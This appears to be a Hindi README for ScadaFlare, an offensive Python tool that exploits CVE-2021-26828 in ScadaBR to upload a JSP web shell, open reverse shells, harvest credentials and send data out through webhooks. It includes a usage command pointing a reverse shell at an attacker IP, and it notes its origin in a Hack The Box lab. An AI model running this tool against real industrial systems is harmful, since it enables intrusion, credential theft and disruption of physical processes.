ScadaFlare - CVE-2021-26828 प्रमाणित RCE शोषण टूलकिट

ScadaBR <1.1.0 को लक्षित करने वाला एक मॉड्यूलर पोस्ट-प्रमाणीकरण RCE शोषण, रेड टीम ऑप्स के लिए उन्नत।

विशेषताएँ

• view_edit.shtm के माध्यम से weaponized .jsp शेल अपलोड करता है
• लिनक्स और विंडोज़ पेलोड के लिए समर्थन
• SOCKS5 / HTTP प्रॉक्सी समर्थन
• रिवर्स शेल ट्रिगर (मानक या base64)
• एन्यूमरेशन मॉड्यूल (DB, क्रेड्स, Log4Shell, आदि)
• Webhook एक्सफिल (Slack / Discord)
• Metasploit संसाधन स्क्रिप्ट जनरेशन
• क्लीनअप समर्थन (किल स्विच)

MITRE ATT&CK तकनीक मैपिंग

CVE

• CVE-2021-26828
• Fellipe Oliveira द्वारा खोजा गया
• शोषण उन्नत और मॉड्यूलरीकृत

यह क्यों मौजूद है

यह शोषण HTB Pro Lab: Alchemy परिदृश्य के विश्लेषण के दौरान विकसित किया गया था। Fellipe Oliveira का मूल PoC ठोस था लेकिन:

Python 2 में लिखा गया था

प्रॉक्सी समर्थन, शेल क्लीनअप, एन्यूमरेशन चेनिंग जैसी आधुनिक सुविधाओं का अभाव था

रेड टीम वर्कफ़्लो में विस्तार या एकीकृत करना कठिन था

यह संस्करण, ScadaFlare, Python 3 में मॉड्यूलर समर्थन, कई चोरी रणनीतियों, OS डिटेक्शन ओवरराइड, webhook एकीकरण, SOCKS प्रॉक्सी समर्थन, और वास्तविक दुनिया के ऑपरेटर उपयोग के लिए एन्यूमरेशन चेन के साथ एक पूर्ण पुनर्लेखन है।

उपयोग

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

केवल कानूनी और नैतिक उपयोग

ScadaFlare को केवल के लिए डिज़ाइन किया गया है:

• नैतिक हैकिंग शिक्षा
• SCADA लैब परीक्षण
• रक्षात्मक अनुसंधान और भेद्यता सत्यापन

वास्तविक औद्योगिक प्रणालियों के विरुद्ध अनधिकृत उपयोग:

• भौतिक प्रक्रियाओं को बाधित कर सकता है
• क्षति या सुरक्षा खतरे पैदा कर सकता है
• गंभीर कानूनी परिणाम दे सकता है

इस उपकरण का उपयोग करके आप पूर्ण जिम्मेदारी स्वीकार करते हैं:

• स्पष्ट लिखित प्राधिकरण प्राप्त करना
• केवल अनुमोदित वातावरण में संचालन करना

लाइसेंस

MIT License – LICENSE देखें